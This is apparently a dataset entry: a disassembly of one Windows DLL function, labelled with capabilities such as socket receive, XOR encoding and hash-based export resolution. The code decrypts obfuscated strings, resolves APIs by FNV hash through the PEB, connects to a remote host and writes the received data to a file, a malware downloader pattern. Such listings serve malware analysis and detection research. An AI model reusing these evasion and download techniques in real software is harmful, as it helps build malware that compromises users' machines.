Function at 0x180002910
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Receive data
Receive data on socket
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x528]
sub rsp, 0x5e8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
mov r12, rdx
xor r15d, r15d
movsd xmm0, qword [0x18002f480]
movsd qword [rsp + 0x30], xmm0
movzx edx, word [0x18002f488]
mov word [rsp + 0x38], dx
movzx eax, byte [0x18002f48a]
mov byte [rsp + 0x30], 0x57
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor dl, 0x39
mov byte [rsp + 0x38], dl
xor byte [rsp + 0x39], 0x3a
xor al, 0x3b
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, 0xffffffffffffffff
mov qword [rsp + 0x40], r15
movsd xmm0, qword [0x18002f4a0]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [0x18002f4a8]
mov dword [rsp + 0x38], ecx
movzx eax, word [0x18002f4ac]
mov word [rsp + 0x3c], ax
mov eax, dword [0x1800350d0]
movdqa xmm8, xmmword [0x18002f6e0]
movdqa xmm10, xmmword [0x18002f6f0]
movdqa xmm9, xmmword [str.::::]
movdqa xmm6, xmmword [0x18002f700]
movdqa xmm7, xmmword [0x18002f680]
cmp byte [0x18002f4ad], r15b
je 0x180002bb3
mov r8d, r15d
cmp eax, 2
jl 0x180002b70
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [0x18002f4a0]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x18002f690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm10
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
movdqa xmm3, xmmword [0x18002f6a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm10
movd xmm0, ecx
xorps xmm3, xmm0
movd dword [rsp + 0x38], xmm3
mov r8d, recv
mov eax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x180002b80
mov eax, dword [0x18002f554]
mov dword [rbp + 0x548], eax
movzx eax, word [0x18002f558]
mov word [rbp + 0x54c], ax
mov byte [rbp + 0x548], 0x32
xor byte [rbp + 0x549], 0x32
xor byte [rbp + 0x54a], 0x33
xor byte [rbp + 0x54b], 0x34
xor byte [rbp + 0x54c], 0x35
xor byte [rbp + 0x54d], 0x36
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002c86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002c86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x73a9361
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002c81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002c60
cmp r8d, 0xa3f8a43b
je 0x180002c8b
test r9d, r9d
jne 0x180002c40
mov rax, qword [rax]
jmp 0x180002c10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov ecx, 0x202
lea rdx, [rbp + 0x2f0]
call r8
mov dword [rbp - 0x58], r15d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov eax, 2
mov dword [rbp - 0x54], eax
mov dword [rbp - 0x50], 1
mov r13d, 6
mov dword [rbp - 0x4c], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180002d66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002d66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x213629c9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002d61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002d40
cmp r8d, 0x530d7218
je 0x180002d6b
test r9d, r9d
jne 0x180002d20
mov rax, qword [rax]
jmp 0x180002cf0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x548]
lea rcx, [rsp + 0x30]
call r10
mov rsi, qword [rsp + 0x40]
test rsi, rsi
je 0x1800033ad
mov r12d, dword [0x1800350d0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002e46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002e46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xb83345e7
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002e41
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x180002e20
cmp r8d, 0x257b84de
je 0x180002e4b
test r9d, r9d
jne 0x180002e00
mov rax, qword [rax]
jmp 0x180002dd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, dword [rsi + 0xc]
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 4]
call r9
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002f06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002f06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x9f422916
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x180002f01
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x180002ee0
cmp r8d, 0x964b1124
je 0x180002f0b
test r9d, r9d
jne 0x180002ec0
mov rcx, qword [rcx]
jmp 0x180002e90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, dword [rsi + 0x10]
mov rdx, qword [rsi + 0x20]
mov rcx, r14
call r9
cmp eax, 0xffffffff
jne 0x1800033a6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002fc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002fc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa2c30751
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002fc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002fa0
cmp r8d, 0xa1ffdea0
je 0x180002fcb
test r9d, r9d
jne 0x180002f80
mov rax, qword [rax]
jmp 0x180002f50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
movups xmm0, xmmword [str.bWABPD]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x18002f418]
movups xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [0x18002f428]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [0x18002f438]
movsd qword [rbp - 0x68], xmm0
movzx eax, byte [0x18002f440]
mov byte [rbp - 0x60], al
mov r8d, r15d
cmp r12d, 2
jl 0x180003133
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x6c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x180003040
cmp r8d, 0x39
jge 0x180003173
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x180003140
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rsp + 0x68]
xor ecx, ecx
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003216
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003216
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9dc0c0db
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003211
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800031f0
cmp r8d, 0xc608ffc0
je 0x18000321b
test r9d, r9d
jne 0x1800031d0
mov rax, qword [rax]
jmp 0x1800031a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov r14, 0xffffffffffffffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800032c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800032c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xec5efec
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800032c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800032a0
cmp r8d, 0xa1c542b1
je 0x1800032cb
test r9d, r9d
jne 0x180003280
mov rax, qword [rax]
jmp 0x180003250
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 1
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003376
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003376
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xfb9258c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003371
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180003350
cmp r8d, 0xa7a4f9fc
je 0x18000337b
test r9d, r9d
jne 0x180003330
mov rax, qword [rax]
jmp 0x180003300
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 1
call rdx
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x180002db0
mov r12, qword [rbp + 0x538]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003436
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003436
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x520f9774
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003431
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180003410
cmp r8d, 0xc3f35461
je 0x18000343b
test r9d, r9d
jne 0x1800033f0
mov rax, qword [rax]
jmp 0x1800033c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x40]
call rdx
mov rsi, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 0xf
jbe 0x18000346a
mov r12, qword [r12]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1800034f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800034f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x4f140fe9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800034f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800034d0
cmp r8d, 0x1b4029eb
je 0x1800034fb
test r9d, r9d
jne 0x1800034b0
mov rax, qword [rax]
jmp 0x180003480
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
xor r9d, r9d
mov r8d, esi
mov rdx, r12
mov rcx, r14
call r10
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0xf0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x180003586
nop dword [rax]
mov r9d, eax
lea r8, [rbp + 0xf0]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x48]
call fcn.1800075b0
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0xf0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x180003550
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003616
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003616
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb15ed996
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003611
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800035f0
cmp r8d, 0x3a02b19b
je 0x18000361b
test r9d, r9d
jne 0x1800035d0
mov rax, qword [rax]
jmp 0x1800035a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800036c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800036c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5dcc344a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800036c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800036a0
cmp r8d, 0x3fea93c1
je 0x1800036cb
test r9d, r9d
jne 0x180003680
mov rax, qword [rax]
jmp 0x180003650
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov rdi, qword [rbp + 0x540]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1800036f8
mov rdx, qword [rdi]
lea rcx, [rbp - 0x20]
call fcn.180006010
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rsi
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x10], 6
jne 0x18000387a
mov r8, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
sub r8, rbx
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800056c0
lea rcx, [rbp - 0x18]
call fcn.180005f00
test rax, rax
jne 0x180003793
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x28], 0
mov eax, 2
cmovne r13d, eax
or r13d, dword [rbp + rcx - 0x10]
and r13d, 0x17
mov dword [rbp + rcx - 0x10], r13d
mov eax, dword [rbp + rcx - 0xc]
and eax, r13d
jne 0x180003a0a
mov rdx, rdi
mov rdi, qword [rbp + 0x530]
mov rcx, rdi
call fcn.1800059c0
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], rsi
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.1800053f0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.180008384
nop
test rbx, rbx
je 0x180003846
mov rdx, qword [rsp + 0x58]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x18000383e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800039e5
mov rcx, rbx
call fcn.180008d44
mov rax, rdi
lea r11, [rsp + 0x5e8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, [rsp + 0x68]
call fcn.180003a60
mov r10, rax
cmp byte [rax + 0x2d], 0
je 0x1800039eb
cmp dword [0x1800350d0], 2
jl 0x1800039a3
movdqa xmmword [rsp + 0x30], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r15d, 8
lea rcx, [rcx + 8]
cmp r15d, 0x28
jl 0x1800038b0
cmp r15d, 0x2e
jge 0x1800039eb
movsxd r8, r15d
add r8, r10
nop dword [rax]
mov eax, 0x8d3dcb09
imul r15d
add edx, r15d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r15b
sub al, cl
add al, 0x31
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x2e
jge 0x1800039eb
jmp 0x1800039b0
call fcn.1800109ec
nop
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.18000eb90
int3
test al, 4
je 0x180003a17
lea rbx, str.ios_base::badbit_set
jmp 0x180003a2b
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.180001300
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.180001dc0
lea rdx, [0x180033650]
lea rcx, [rsp + 0x68]
call fcn.18000acb8
int3